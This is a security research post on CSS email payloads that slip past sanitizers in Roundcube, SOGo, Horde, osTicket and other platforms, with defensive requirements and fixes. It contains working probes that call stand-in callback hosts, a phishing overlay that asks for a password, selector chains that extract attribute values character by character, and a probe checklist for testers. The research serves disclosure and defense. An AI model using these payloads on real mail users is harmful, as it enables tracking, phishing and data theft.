Trust Transitions in Email: When Sanitizers and CSS Engines Disagree

Trust Transitions in Email: When Sanitizers and CSS Engines Disagree - Paul Reed, trace37.

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Content

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The email attack didn't need JavaScript.

No click. No attachment. No `<script>`. The user opens the received email and the browser is already doing work for the attacker: resolving CSS, loading attacker-controlled URLs, exposing browser and screen characteristics, and — on the right target — letting CSS selectors test characters in hidden DOM attributes one byte at a time.

The sanitizer did what it was written to do. The browser did what the CSS spec tells it to do. The vulnerability lives in the handoff.

I tested 33 platforms across webmail, helpdesk, CMS, and ticketing systems, then analyzed the source code for 7 sanitizer implementations. The result was 8 bypass classes that survive into the browser on at least one production platform. The most common one is also the smallest: Roundcube checks inline CSS values with a start-anchored `^url\s*\(` regex. That catches `url(...)` when it appears at the beginning of a value. It does not catch `var(--x, url(...))`, because that value starts with `var(`.

That one-character assumption ships further than it first appears. Roundcube is bundled into cPanel webmail and appears in Nextcloud webmail deployments. Where there is no second layer — no restrictive CSP, no iframe boundary, no URI-level resource policy — the browser receives the CSS and fires the request.

This post is the next in the Trust Transitions series. The pattern is not "bad regex" in isolation. It is a boundary failure: one component accepts a token stream under one model, then passes it to another component that interprets it under a richer model.

The sanitizer asks: "Does this CSS value start with `url(`?"

The browser asks: “After resolving functions, fallbacks, at-rules, and custom properties, does this value require a fetch?”

These are different questions.

THE TRUST TRANSITION — SANITIZER CSS ENGINE

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1. The Handoff Problem

Most email sanitizers were built around an XSS threat model: remove `<script>`, remove event handlers, block `javascript:`, and make dangerous HTML inert. CSS was treated as presentation.

That assumption has aged badly.

Modern CSS can load resources, branch on browser features, evaluate conditional blocks, store values in custom properties, and resolve nested functions at render time. A sanitizer that treats CSS as a flat string is checking the wrong language.

A common pattern looks like this:

```
preg_match('/^url\s*\(/i', $val)
```

That catches obvious values:

```
background-image: url("https://attacker.example/pixel")
```

But the CSS engine does not require `url()` to be the first token. The browser is happy to resolve a fallback:

```
background-image: var(--missing, url("https://attacker.example/pixel"))
```

To the regex, the value starts with `var(`. To the browser, the unresolved custom property means the fallback fires, and the fallback contains a URL.

That is the trust transition:

```
attacker HTML

email sanitizer: "I only see a harmless-looking CSS function"

browser CSS engine: "I resolved the function and found a resource to load"

attacker receives callback
```

Email rendering makes this attack vector particularly dangerous for four reasons.

First, CSS runs on render. The victim does not have to click, reply, download, or enable scripting.

Second, many webmail clients render attacker-controlled email inside the application's own DOM. Roundcube, SOGo, Horde, SnappyMail, osTicket, and OWA all have deployment modes where same-origin rendering or weak isolation matters.

Third, CSS keeps gaining new resource and conditional constructs. `var()`, `env()`, `image-set()`, `@supports`, `@container style()`, and additional `url()`-accepting properties all change the shapes a sanitizer has to recognize.

Fourth, the browser is the final interpreter. A sanitizer can remove the obvious `url()` token and still leave enough structure for the browser to compose a fetch at render time.

This is why "the regex matches `url()`" is not the same as "the sanitizer prevents CSS from loading external resources."

The practical test I used for each platform was simple: what does the sanitizer block, and what other layer catches the rest?

SnappyMail is a good example of defense in depth working. Its sanitizer misses several resource-loading shapes, but the default CSP uses `img-src 'self' data:`, so cross-origin callbacks fail at the policy layer. Roundcube does not have that backup layer in default deployments. In this instance, the sanitizer is the boundary.

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2. Eight Bypass Primitives

Each primitive below is a single CSS or HTML construct that survived at least one production sanitizer and caused, or could cause, the browser to fetch attacker-controlled content.

#	Primitive	What goes wrong
2.1	Function wrapper	`var()` or `env()` hides `url()` from checks anchored at the start of a value
2.2	Style-block `url()`	Inline CSS is filtered, but `<style>` blocks take a different path
2.3	Property coverage gap	Sanitizer checks `background-image` but misses other URL-loading properties
2.4	Non-`url()` loading	`image-set()` and `srcset` fetch resources without a literal `url(` token
2.5	Structural bypass	Regex

strips closed `<style>...</style>` pairs, but not an unclosed `<style>` | | | 2.6 | Phishing overlay | CSS positioning creates a full-viewport prompt on the legitimate domain | | | 2.7 | Modern at-rules | `@supports` and `@container style()` survive as programmable conditionals | | | 2.8 | Custom property indirection | URL is stored in one declaration and dereferenced from another | |

2.1 Function wrappers: `var()` and `env()` put the URL out of reach

The payload is small enough to miss in code review:

```
<div style="background-image: var(--x, url('https://YOUR-CALLBACK/track'))">x</div>
```

A start-anchored check sees a value beginning with `var(` and lets it through. The browser then resolves `var(--x, ...)`. Because `--x` is undefined, the fallback becomes the active value, and the fallback contains the URL.

The same pattern works with `env()`:

```
<div style="background-image: env(--x, url('https://YOUR-CALLBACK/track'))">x</div>
```

In total, I fuzzed 22 CSS functions as wrappers, including `calc()`, `min()`, `max()`, `clamp()`, `cross-fade()`, `paint()`, and `element()`. Only `var()` and `env()` produced browser-side URL loading through fallback resolution.

The wrapper also works across every URL-accepting property I tested: `background-image`, `list-style-image`, `cursor`, `mask-image`, `border-image-source`, `content`, and `shape-outside`. MIME transport did not matter. Quoted-printable, base64, and nested multipart all reached the sanitizer as decoded HTML.

| Platform | Result | | | Roundcube | Callback received across 6 properties | | | WordPress | Callback received for HTTP URLs allowed by design | | | Horde | Attacker URL remained in clean CSS output | | | SOGo | Inline form blocked by `unsafe-style` rename | | | SnappyMail | Sanitizer missed it; default CSP blocked the load | | | osTicket | Blocked by `\burl\s*\(` | | | ProtonMail | Blocked by full-string `url(` search after recursive decode | |

In Roundcube, the root cause is the anchor:

```
if ($url_callback && preg_match('/^url\s*\(/i', $val))
```

`^url` means “the value begins with url.” It does not mean “this value contains a URL after CSS resolution.”

rcube_utils.php : line 627

if ($url_callback && preg_match('/^url\s*\(/i', $val))

The `^` anchors at token start. `var(--x, url(attacker))` starts with `var(`, not `url(`. The token falls through to line 636 with no URL checking.

The one-character fix: `^url` `\burl`. osTicket already does this correctly.

The obvious cheap patch is `\burl` instead of `^url`. osTicket already uses the word-boundary form, and that closes the function-wrapper bypass. It does not solve every class in this post, but it mitigates the most significant issue I discovered through a one-character change.

Three Roundcube security patches in the last six months addressed CSS-related vectors — CSS escape injection in December 2025, a `position:fixed` bypass in March 2026, and a stylesheet SSRF the same month — but none of them touched this regex.

2.2 Style-block `url()`: the inline path is not the block path

Inline styles and `<style>` blocks often go through different sanitizer code. That difference is enough.

```
<style>
 .track { background-image: url('https://YOUR-CALLBACK/style-block') !important; }
</style>
<div class="track" style="width:1px;height:1px">x</div>
```

SOGo shows the failure mode clearly. Inline `style=""` attributes are checked for the substring `url`; matching attributes are renamed to `unsafe-style`. But style blocks pass through `_appendStyle:length:`, which has no URL filtering: no substring check, no regex, no parse-time URI inspection.

The processed CSS is then emitted server-side through a `.wox` template with `escapeHTML="NO"`. The AngularJS layer never gets a chance to correct it.

| Platform | Result | | | SOGo | Callback received from style-block URL | | | Horde | URLs inside block at-rules survived parser cleanup | | | osTicket | Closed style tags stripped; unclosed style tags survived | | | Roundcube | Plain style-block `url()` rewritten by callback handler | |

The lesson for hunters: always test inline CSS and style blocks separately. A pass in one path does not imply a pass in the other.

2.3 Property coverage gaps: `background-image` is not the whole language

Many filters were written when the obvious dangerous property was `background` or `background-image`. CSS now has more fetch-capable surfaces.

```
<div style="list-style-image: url('https://YOUR-CALLBACK/list')">x</div>
<div style="mask-image: url('https://YOUR-CALLBACK/mask')">x</div>
<div style="border-image-source: url('https://YOUR-CALLBACK/border')">x</div>
hover
<div style="shape-outside: url('https://YOUR-CALLBACK/shape')">x</div>
```

Horde's inline CSS regex is the textbook example:

```
const CSS_BG_PREG = '/(background(?:-image)?:[^;\}]*(?:url\(["\']?))(.*?)((?:["\']?\)))/i';
```

It only covers `background` and `background-image`. Properties like `mask-image`, `border-image-source`, `cursor`, and `list-style-image` are out of scope. The regex also runs on raw text, so CSS escapes can bypass the property name match itself.

| Platform | Result | | | Horde | 5/5 non-background properties bypassed `CSS_BG_PREG` | | | SnappyMail | Multiple unchecked properties reached the browser, then default CSP blocked callbacks | |

A sanitizer that enumerates properties is playing whack-a-mole unless it can prove the list is complete and kept current.

2.4 Non-`url()` resource loading: the fetch without the token

Some resource loads do not contain `url(` at all.

```
<div style="background: -webkit-image-set('https://YOUR-CALLBACK/imgset' 1x)">x</div>
<img srcset="https://YOUR-CALLBACK/srcset 1x" alt="x" />
```

`image-set()` can take quoted strings. `srcset` is HTML, not CSS. A sanitizer that searches only for `url(` never enters the right branch.

| Platform | Result | | | SOGo | `image-set()` callback confirmed | | | SnappyMail | `srcset` passed; default CSP blocked cross-origin load | |

This is where URI-level policy beats token-level matching. The browser eventually resolves a URI. The defense should operate at that level.

2.5 Structural bypass: the unclosed `<style>`

This one is not a new CSS feature. It is just HTML parser reality meeting a pair-matching regex.

```
<style>.track { background: url('https://YOUR-CALLBACK/unclosed') }
```

osTicket strips style blocks with a regex that expects a closing tag:

```
:<(style).+?</\1>:is
```

No closing `</style>`, no match. The open tag reaches htmLawed. In `safe=1` mode, htmLawed removes tags like `script`, `iframe`, `object`, and `embed`, but `<style>` is not on that removal list. The browser receives the open style tag and treats following content as CSS until it recovers.

The important point is that the pre-strip regex was the real defense. htmLawed was not a backup layer for this construct.

2.6 CSS phishing overlays: no JavaScript required

Not every CSS bug needs to become data exfiltration to matter. A full-viewport overlay on the real application domain is already useful to an attacker.

```
<div style="position:fixed; inset:0; z-index:999999; background:white; padding:40px; text-align:center;">
  <h2>Session Expired</h2>
  <p>Please re-enter your password to continue.</p>
  <input type="password" placeholder="Password" style="padding:8px; width:200px;" />
  <br/><br/>
  <a href="https://YOUR-DOMAIN/phish" target="_blank"
    style="padding:10px 20px; background:#0066cc; color:white; text-decoration:none;">Sign In</a>
</div>
```

The victim still sees the legitimate webmail origin in the address bar. The password field is attacker-controlled DOM. The link handles collection because forms are usually stripped.

ProtonMail blocks `position:absolute` with a regex, but that pattern does not match `fixed` or `sticky`. Roundcube allows pseudo-elements in style blocks, which makes it possible to build more polished overlays with less DOM.

For bounty triage, this is often easier to demonstrate than full extraction: render the message, show the overlay, show that it sits inside the trusted origin.

2.7 Modern at-rules: conditionals become a side channel

Regex sanitizers tend to do one of two things with unfamiliar at-rules: strip them all, or pass them through. Roundcube and Horde pass through constructs such as `@supports`, `@media`, `@container`, and `@starting-style` while sanitizing inner declarations.

That gives an attacker programmable branching:

```
@supports (field-sizing: content) {
  .probe { background-image: var(--x, url('https://YOUR-CALLBACK/feature')) }
}
```

The callback is no longer just “email opened.” It becomes “email opened in a browser that supports this feature.” Repeat that across many features and the result is a browser fingerprint.

2.8 Custom property indirection: split the URL from the load

Custom properties let an attacker move the dangerous value and the dangerous use into different declarations.

```
<style>.target { --bg: url('https://YOUR-CALLBACK/cp'); }</style>
<div class="target" style="background-image: var(--bg);">x</div>
```

The first declaration is “just” a custom property. The second declaration is “just” a variable reference. The browser composes them into a resource load.

This is the same trust-transition shape as the function-wrapper bug, but spread across the cascade instead of packed into one value.

3. Building Chains: Fingerprinting and Extraction

A tracking pixel proves the boundary is broken. The more interesting question is what the browser can be made to compute after the boundary breaks.

Two chains matter for bounty hunters: feature fingerprinting and per-character attribute extraction.

3.1 CSS feature fingerprinting with `@supports`

Where `@supports` survives sanitization, the email can ask the browser questions without JavaScript.

Each probe is one bit. If the feature is supported, the CSS hides a probe element and the callback stays silent. If unsupported, the fallback URL fires. The attacker receives a bitmap of missing features.

```
@supports (field-sizing: content) {
  .probe-field-sizing { display: none !important; }
}
```

Combined with the `var()` URL wrapper, the visible probes call home and the hidden probes do not.

Browser Fingerprint — Single Email Open

Chrome 148

0x3FCFFFFF

28/30 features supported

Firefox 150

0x2CCD7FFF

23/30 features supported

Each probe is one bit. 30 probes a 30-bit per-browser bitmap.

In my test set, 30 probes created distinct browser bitmaps. Seven features separated current Chrome and Firefox builds: `field-sizing`, `text-wrap: pretty`, `interpolate-size`, `scroll-timeline`, `timeline-scope`, `color-mix`, and `light-dark`. Adding `@media` queries expands the signal to screen size, color scheme, pointer precision, and input type.

The privacy problem is timing. CSS is evaluated while the message renders. By the time a user-facing “block external images” prompt appears, the feature decisions may already have been made. The bitmap also survives VPNs and User-Agent spoofing because it comes from the engine’s actual behavior.

3.2 Per-character DOM extraction

CSS attribute selectors can test DOM attributes:

```
input[value^="S"] { ... }
```

Pair a selector with a URL load and each candidate character becomes a probe. In a lab harness against mock tokens, I validated three chains that recovered six-character values with 100% accuracy.

Chain 1: inverted logic on Roundcube. A style block delivered through `<svg><foreignObject>` survives with scoped selectors. The matching rule hides one candidate probe. The probes that do not match remain visible and fire their URLs. If 35 of 36 callbacks arrive, the missing one is the character.

```
input[value^="s"] ~ .p-s { display: none !important; }
input[value^="a"] ~ .p-a { display: none !important; }
```

```
<div class="p-s" style="background-image: var(--z, url('https://YOUR-CALLBACK/s'))"></div>
<div class="p-a" style="background-image: var(--z, url('https://YOUR-CALLBACK/a'))"></div>
```

For a value beginning with `s`, `.p-s` is hidden and the `s` callback is silent. All the non-matching candidates fire.

Inverted-Logic Extraction — Roundcube

foreignObject <style>

`input[value^="s"] ~ .p-s { display: none !important; }` `input[value^="a"] ~ .p-a { display: none !important; }` ...one rule per candidate character

Inline styles (var() bypass)

`<div class="p-s" style="background-image: var(--z, url('callback/s'))">` `<div class="p-a" style="background-image: var(--z, url('callback/a'))">`

Trace — value="s3cr3t"

`input[value^="s"]` matches `.p-s` hidden no callback for 's' `input[value^="a"]` no match `.p-a` visible callback fires for 'a' ...35 callbacks fire, 's' is silent **char 0 = 's'**

Automated extraction output, taken straight from the harness:

`[round 0] EXTRACTED: 's' token so far: 's' [round 1] EXTRACTED: '3' token so far: 's3' [round 2] EXTRACTED: 'c' token so far: 's3c' [round 3] EXTRACTED: 'r' token so far: 's3cr' [round 4] EXTRACTED: '3' token so far: 's3cr3' [round 5] EXTRACTED: 't' token so far: 's3cr3t' [exfil] RESULT: 's3cr3t' [exfil] Validation: MATCH`

Chain 2: direct logic on SOGo. SOGo's style-block URL gap makes the bridge simpler: a matching selector can fire its own URL. Each character costs one callback instead of one missing callback, which is quieter and easier to reason about.

Chain 3: three-layer `@container style()` on Roundcube. This chain is interesting because each layer passes a different sanitizer check.

```
input[value^='S'] ~ .container { --match-s: 1 }

@container style(--match-s: 1) {
  .probe-s { display: block }
}

.probe-s {
  background-image: var(--z, url('https://YOUR-CALLBACK/s'));
}
```

Layer 1 has no URL. Layer 2 is a modern at-rule. Layer 3 hides the URL inside `var()`. No single check sees the whole behavior.

Layer 1: Attribute Selector

`input[value^='S'] ~ .container { --match-s: 1 }`

Layer 2: @container style() Query

`@container style(--match-s: 1) { .probe { display: block } }`

Layer 3: var() Bypass

`background-image: var(--z, url(attacker/s))`

Result

Callback fires for matching character

The chain is Chrome 111+ only because Firefox does not support `@container style()`. The fingerprinting chain can identify Chrome targets before the extraction chain is used.

Scope and limits

These extraction chains only reach attributes inside the email body's CSS scope.

On default Roundcube, the CSRF token is assigned into `rcmail.env.request_token` by JavaScript and does not appear as a DOM attribute. The session token is in an HttpOnly cookie. CSS cannot read either.

On SOGo, the CSRF token is cookie-based, and scoping around `.SOGoHTMLMail-CSS-Delimiter` limits how far email CSS can reach.

So the claim is not "CSS-only account takeover on default Roundcube." The claim is that the primitive exists, works, and becomes dangerous when sensitive attributes enter the reachable DOM. That can happen through plugins, custom themes, future rewrites, or adjacent application bugs.

A SQL injection against an empty table is still a SQL injection. The empty table is state, not a guarantee.

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4. Per-Sanitizer Autopsy

I read seven sanitizer codebases. The objective was not to determine “which vendor is bad.” It was “which defensive model fails where.”

4.1 Roundcube

Roundcube routes both inline styles and style blocks into `sanitize_css_block()`. URL detection happens with a start-anchored regex:

```
preg_match('/^url\s*\(/i', $val)
```

That leaves `var(--x, url(...))` and `env(--x, url(...))` outside the check. `image-set` is explicitly blocked, and `@import` is blocked, but modern at-rules such as `@supports`, `@media`, `@container`, and `@starting-style` pass through with sanitized inner declarations.

The runtime result was clear: callbacks across six properties, plus working fingerprinting and extraction chains in an authenticated end-to-end Playwright test.

Roundcube is the highest-signal target class here because there is no default CSP layer equivalent to SnappyMail’s `img-src 'self' data:`. The sanitizer is the main line of defense.

4.2 SOGo

SOGo’s bug is a split-brain sanitizer.

Inline styles are checked for the literal substring `url` and renamed to `unsafe-style` when they match. Style blocks go through a different Objective-C path with no URL filtering. That makes direct style-block callbacks possible.

At-rules are stripped, so the more advanced conditional chains are limited. But the style-block gap is enough for tracking, resource loading, and direct attribute-selector extraction in the lab harness.

4.3 Horde IMP

Horde combines a narrow inline regex with parser behavior that misses nested URLs.

Inline CSS is checked with `CSS_BG_PREG`, which only matches `background` and `background-image`. Other URL-loading properties pass.

For style blocks, Sabberworm parses `var(--x, url(...))` as a `CSSFunction`, not a `URL` node. Horde checks for `instanceof URL`, so the nested URL remains in the clean CSS output. Block-level at-rules parse as `AtRuleBlockList` and can be kept wholesale.

My Horde evidence is sanitizer-level rather than full live-client execution, but the cleaned output retained attacker URLs in the relevant cases.

4.4 SnappyMail

SnappyMail’s sanitizer misses several loading surfaces, including unchecked properties and `srcset`. In isolation, that would be enough.

The default CSP changes the result. With normal policy, cross-origin callbacks did not fire. With CSP bypassed in the test harness, the sanitizer gaps became visible immediately.

This is what a useful backup layer looks like: the sanitizer leaks, but the browser is still constrained.

4.5 osTicket

osTicket gets the function-wrapper case right for inline styles by using a word-boundary URL regex:

```
\burl\s*\(
```

The weakness is structural. Its pre-strip regex removes closed `<style>...</style>` blocks, but not an unclosed `<style>`. htmLawed does not remove `<style>` in the tested safe mode, so the browser receives the CSS.

Closed style tags were stripped. Unclosed style tags survived with their content intact.

4.6 WordPress

WordPress permits HTTP `url()` in post CSS by design. The interesting part is that `var()` wrapping bypasses the protocol validation step for HTTP URLs because the validator sees `var(` rather than a direct URL token.

That is not necessarily a WordPress security bug in the same category as webmail. It is a design allowance with a wrapper edge case. Non-HTTP protocol bypasses were not confirmed on WordPress 6.9.4.

4.7 ProtonMail

ProtonMail's URL handling is stronger than most of the set. It searches the full decoded CSS string for `url(`, strips comments, and recursively unescapes before checking. That catches the function-wrapper payload.

Its overlay handling is narrower. The sanitizer blocks `position:absolute`, but not `position:fixed` or `position:sticky`. Function-level tests showed absolute replaced and fixed left unchanged.

4.8 Resistant platforms

The strongest platforms shared one of two approaches.

Cypht uses HTMLPurifier with `URI.DisableExternalResources=true`, which moves the decision to URI resolution instead of CSS token shape.

Gmail strips aggressively. If a style contains an HTTP `url()`, the whole style is removed. It also strips `position: fixed`, `position: sticky`, and `position: absolute`. That breaks legitimate styling, but it covered the tested attack surface.

ProtonMail's URL check also performed well because it searches the full decoded string rather than anchoring on the first token.

The pattern is simple and unsurprising: defenses that consider resolved URIs or strip dangerous CSS completely age better than defenses that enumerate syntax shapes.

4.9 Email client diversity

Server-side sanitization happens before the email client receives the content, but the final rendering engine still matters.

| Client | `url()` fires? | `var()` supported? | `@supports` | Proxy | | | Apple Mail (macOS/iOS) | Yes | Yes | Yes | Apple MPP proxy | | | Outlook Web (OWA) | Yes | Yes (2019+) | Yes | Microsoft proxy | | | Gmail Web | Stripped | Partial | Yes | Google proxy | | | Samsung Email | Yes | Unclear | Yes | No known proxy | | | Thunderbird | Blocked by default | Yes | Yes | None (desktop) | | | Outlook (Word engine) | No | No | Skips block | N/A | |

Apple Mail, Outlook, and Gmail route external resource loads through documented proxy infrastructure. Samsung Email has no documented equivalent — requests leave the device directly, exposing the sender to the victim's real IP. Thunderbird's default "Original HTML" rendering mode runs full Gecko with no CSS property filtering, so `var()` and `@supports` both evaluate. But `nsMsgContentPolicy` blocks all remote loads by default — CSS `url()` only fires if the user explicitly permits remote images for that sender.

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5. Deployment Census

The Shodan counts are not the full deployment base. They only cover instances with exposed HTTP surfaces. Anything behind a VPN, firewall, private network, or hosted provider boundary is missing.

| Platform | Instances | Primitive class | | | Nextcloud with Roundcube | 93,194 | Function wrapper | | | Zimbra | 52,939 | Style-block `url()` | | | Roundcube standalone | 43,346 | Function wrapper, fingerprinting, extraction | | | SOGo | 1,996 | Style-block URL, `image-set()` | | | Kerio Connect | 1,289 | Unknown, closed source | | | OTRS/Znuny | 1,342 | CSS allowed; iframe limits impact | | | Horde | 1,088 | Property gap, parser nesting gap | | | osTicket | 375 | Unclosed `<style>` | |

The real scale is higher. Every cPanel server ships Roundcube. Mailcow ships SOGo. Nextcloud bundles Roundcube webmail. Those relationships matter more than a single search count.

OTRS/Znuny is a useful boundary case. Customer email renders in an iframe with `sandbox="allow-same-origin"`. CSS tracking, fingerprinting, and phishing overlays can still work inside the frame, but cross-scope extraction into the parent page does not. I treated that as a defensive improvement report rather than a direct vulnerability.

Grouped by failure mode, the landscape looks like this:

| Pattern | Platforms | | | Sanitizer gap, no backup layer | Roundcube, Horde | | | Sanitizer gap, CSP catches it | SnappyMail | | | Inconsistent defense boundary | SOGo, osTicket | | | Spec addition outside the regex model | Roundcube, Horde | | | Incomplete blocklist | ProtonMail | | | By-design allowance | WordPress, OTRS/Znuny | |

For bounty hunters, that grouping is more useful than vendor names. It tells you what to test next when one probe lands.

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6. Defensive Specification

A CSS email sanitizer written for the current web platform needs to defend against behavior, not spelling.

These are the eight requirements I would use as a baseline.

| # | Requirement | Closes | | | **R1** | Block `url()` at any position, property, and nesting depth | Function wrappers, property gaps | | | **R2** | Block non-`url()` resource loading such as `image-set()`, `@import` strings, and `src()` | Quoted-string fetches | | | **R3** | Block resource-loading attributes such as `srcset`, `ping`, `poster`, and `background` | HTML attribute bypasses | | | **R4** | Strip or sandbox `<style>` blocks from untrusted email | Style-block URLs, selectors, fingerprinting | | | **R5** | Block viewport overlays: `fixed`, `sticky`, and `absolute` | CSS phishing | | | **R6** | Apply URL blocking to custom property values | Custom property indirection | | | **R7** | Decode CSS escapes and HTML entities before security checks | Encoding bypasses | | | **R8** | Handle malformed structures: unclosed tags, foreignObject, comments, and parser recovery | Structural bypasses | |

Compliance

| Req | RC | SOGo | Horde | SM | osT | PM | Gmail | | | R1 | FAIL | FAIL | FAIL | FAIL | PASS | PASS | PASS | | | R2 | PARTIAL | FAIL | N/A | FAIL | FAIL | PARTIAL | PASS | | | R3 | PASS | FAIL | PARTIAL | FAIL | PASS | PASS | PASS | | | R4 | FAIL | FAIL | PASS* | PASS | FAIL | PASS | PASS | | | R5 | N/A | N/A | N/A | N/A | N/A | FAIL | PASS | | | R6 | FAIL | PARTIAL | FAIL | PASS | N/A | PASS | PASS | | | R7 | PASS | PARTIAL | FAIL | PASS | PASS | PASS | PASS | | | R8 | PARTIAL | PASS | N/A | PASS | FAIL | PASS | PASS | |

RC = Roundcube, SM = SnappyMail, osT = osTicket, PM = ProtonMail. *Horde Sabberworm processes style blocks but does not recurse into `CSSFunction` arguments — see §4.3.

Gmail is the only sanitizer I tested that meets all 8 requirements. ProtonMail is next, passing 6, partial on R2, and failing R5 (`position:fixed` and `position:sticky` survive). Every other sanitizer fails R1 — the function-wrapper bypass — along with at least one more requirement.

Implementation patterns

A few implementation patterns work better than the rest.

URI-level blocking. Parse CSS, find every resolved URI, then enforce an allowlist. This is the most future-proof approach because new CSS syntax still has to resolve to a URI before the browser can fetch it.

Aggressive stripping. Gmail's model is blunt but effective: remove styles that contain external resource loads and strip positioning that can cover the viewport. It breaks legitimate styling, but email is a hostile rendering context.

Word-boundary regex as a minimum patch. Replacing `^url` with `\burl` closes the `var()` wrapper case. This is not a complete sanitizer, but it is the cheapest high-impact improvement for code already using a start-anchored URL check.

Recursive AST walking. The ideal implementation parses CSS into a modern AST and recursively walks function arguments, at-rule bodies, declarations, and custom properties. The important word is *recursively*. Checking only top-level URL nodes misses `CSSFunction` wrappers.

Defense in depth still matters. SnappyMail proves the value of a restrictive CSP. A sanitizer can miss, and the browser can still be prevented from making the request.

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7. Prior Art

CSS-based email attacks are not new. The recent work that matters most here includes:

- **Cascading Spy Sheets** — CSS in email and browser fingerprinting through container queries and CSS arithmetic.
- **Styled to Steal** — CSS data exfiltration through web fonts and contextual ligatures.
- **CVE-2026-2441** — CSS exfiltration through `@import` redirects in Chrome Blink.
- **PortSwigger research** — Inline-style exfiltration through chained CSS conditionals.
- **Gareth Heyes' blind CSS exfiltration work** — `:has()` and inline-only extraction variants.

This post does not claim the attack class is new. The contribution is mapping the class onto production sanitizers: which parser paths, regexes, allowlists, and backup layers actually stop it, and which ones pass the browser enough structure to rebuild the attack.

That is the trust-transition pattern again. The DOMPurify `||` gadget sat between JavaScript's prototype chain and a sanitizer's config parser. These email bugs sit between CSS sanitization and browser interpretation.

Different components. Same seam.

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8. Methodology

Testing used upstream containers where practical: Roundcube 1.6.x, SOGo 5.12.8, SnappyMail 2.38.2, osTicket, and WordPress 6.9.4. Horde was tested by executing sanitizer functions through PHP CLI. ProtonMail was tested by running `escapeForbiddenStyle()` from the public GitHub source in Node.js, not by rendering a live ProtonMail mailbox.

| Platform | Method | What it proves | | | Roundcube | Playwright with browser callback | Full pipeline: sanitized email caused browser request | | | SOGo | Playwright with browser callback | Full pipeline | | | SnappyMail sanitizer | Playwright with CSP bypassed | Sanitizer passed the URL | | | SnappyMail CSP | Playwright with default config | CSP blocked callbacks | | | Horde | PHP CLI against sanitizer/parser | Clean CSS output retained attacker URL | | | osTicket | PHP CLI against `Format::safe_html()` | Unclosed style survived | | | WordPress | `wp_kses_post()` then browser

render | HTTP URL loaded from sanitized output | | | ProtonMail | Node.js against sanitizer function | `position:fixed` survived function-level sanitizer | |

I also tested 26 additional platforms without source review by sending payloads and observing rendered output. Resistant platforms included Gmail, Cypht, Discourse, GitLab, Jira Service Management, Tuta, Redmine, Mattermost, Slack, MediaWiki, FreshRSS, TT-RSS, NewsBlur, and Miniflux. They generally stripped style blocks, blocked resolved URIs, or removed any style containing `url()`.

Limitations

- Horde and ProtonMail were tested at sanitizer-function level, not through a full live rendering pipeline. Other layers may reduce impact.
- The extraction chains only reach attributes inside the email body's CSS scope. Default Roundcube and SOGo do not expose their CSRF/session secrets to that scope.
- SnappyMail's sanitizer gaps are mitigated by default CSP. The issue becomes live when a deployment relaxes `img-src`.
- WordPress permits HTTP CSS URLs by design. The wrapper behavior matters for validation modeling, but non-HTTP protocol bypass was not confirmed.

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9. What to Look For on Your Target

When testing webmail, helpdesk, CMS, ticketing, or anything that renders user-supplied email HTML, send probes as separate messages. Do not bundle them. Separate messages make the callback path unambiguous and avoid one sanitizer decision masking another.

| Step | Probe | Finding signal | | | 1 | `<div style="background:var(--x,url('https://YOUR-CB/1'))">x</div>` | Callback fires: function-wrapper bypass | | | 2 | `<style>.t{background:url('https://YOUR-CB/2')}</style> <div class="t">x</div>` | Style tag survives or callback fires: block-level gap | | | 3 | `<div style="list-style-image:url('https://YOUR-CB/3')">x</div>` | Callback fires: property coverage gap | | | 4 | `<img srcset="https://YOUR-CB/4 1x" alt="x" />` | Callback fires: resource attribute gap | | | 5 | `<style>@supports(field-sizing:content){.p{background:url('https://YOUR-CB/5')}}</style><div class="p">x</div>` | Conditional callback: fingerprint primitive | | | 6 | `<div style="position:fixed;inset:0;z-index:999999;background:red">X</div>` | Overlay covers viewport: phishing primitive | | | 7 | `<style>.t{background:url('https://YOUR-CB/7')}` (no closing tag) | Unclosed style survives: structural bypass | | | 8 | `<div style="background:-webkit-image-set('https://YOUR-CB/8' 1x)">x</div>` | Callback fires: non-`url()` loading | |

Treat any callback as more than "just a pixel." Ask four follow-up questions:

- Did it bypass the product's external-image blocking setting?
- Did it run before user interaction?
- Did it execute in the application's own origin or a weakly isolated frame?
- Can CSS selectors reach sensitive DOM attributes in this deployment?

The concrete impact ranges from tracking and IP disclosure to browser fingerprinting, convincing in-origin phishing overlays, and DOM attribute extraction when sensitive attributes are reachable.

A callback from probe 1 on a large deployed webmail product is not a curiosity. It is evidence that the sanitizer and CSS engine disagree about where URLs can hide.

That is the broader hunting lesson: do not only test whether the sanitizer blocks the spelling of the attack. Test whether the browser can reconstruct the behavior after the sanitizer is done.

The browser does not care which token fooled the regex. It only cares what the cascade resolves to.

This research is part of the Trust Transitions series — documenting the seams where one component's safe output becomes another component's dangerous input.

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